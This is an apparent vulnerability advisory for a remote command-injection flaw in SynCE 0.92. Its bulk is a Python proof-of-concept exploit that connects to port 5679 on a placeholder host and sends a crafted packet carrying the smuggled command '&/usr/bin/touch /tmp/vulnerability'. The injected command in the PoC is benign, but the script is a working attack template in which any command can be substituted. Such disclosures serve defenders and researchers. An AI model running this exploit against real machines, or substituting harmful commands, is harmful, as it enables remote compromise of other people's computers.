source: https://www.securityfocus.com/bid/27178/info SynCE is prone to a remote command-injection vulnerability because it fails to adequately sanitize user-supplied input data. Attackers can exploit this issue to execute arbitrary commands in the context of the application, facilitating the remote compromise of affected computers. SynCE 0.92 is vulnerable; other versions may also be affected. import socket, struct import time def AtoWChar(string): return ''.join([x+chr(0) for x in string]) HOST = '192.168.XXX.XXX' PORT = 5679 c= socket.socket(socket.AF_INET, socket.SOCK_STREAM) c.connect((HOST, PORT)) buf="\x00"*0x18 buf+='\x30\x00\x00\x00' buf+='\x30\x00\x00\x00' buf+='\x30\x00\x00\x00' buf+="\x00"*12 string=AtoWChar("&/usr/bin/touch /tmp/vulnerability") buf+=string+"\x00\x00"+"\x00"*12 c.send(struct.pack("L",63+len(string))+buf+"\x00" ) - --------------------------- NOTE: for this proof of concept to work, a script file is needed on the "$home$/.synce/scripts" directory. Some linux distributions ship with scripts on this directory by default.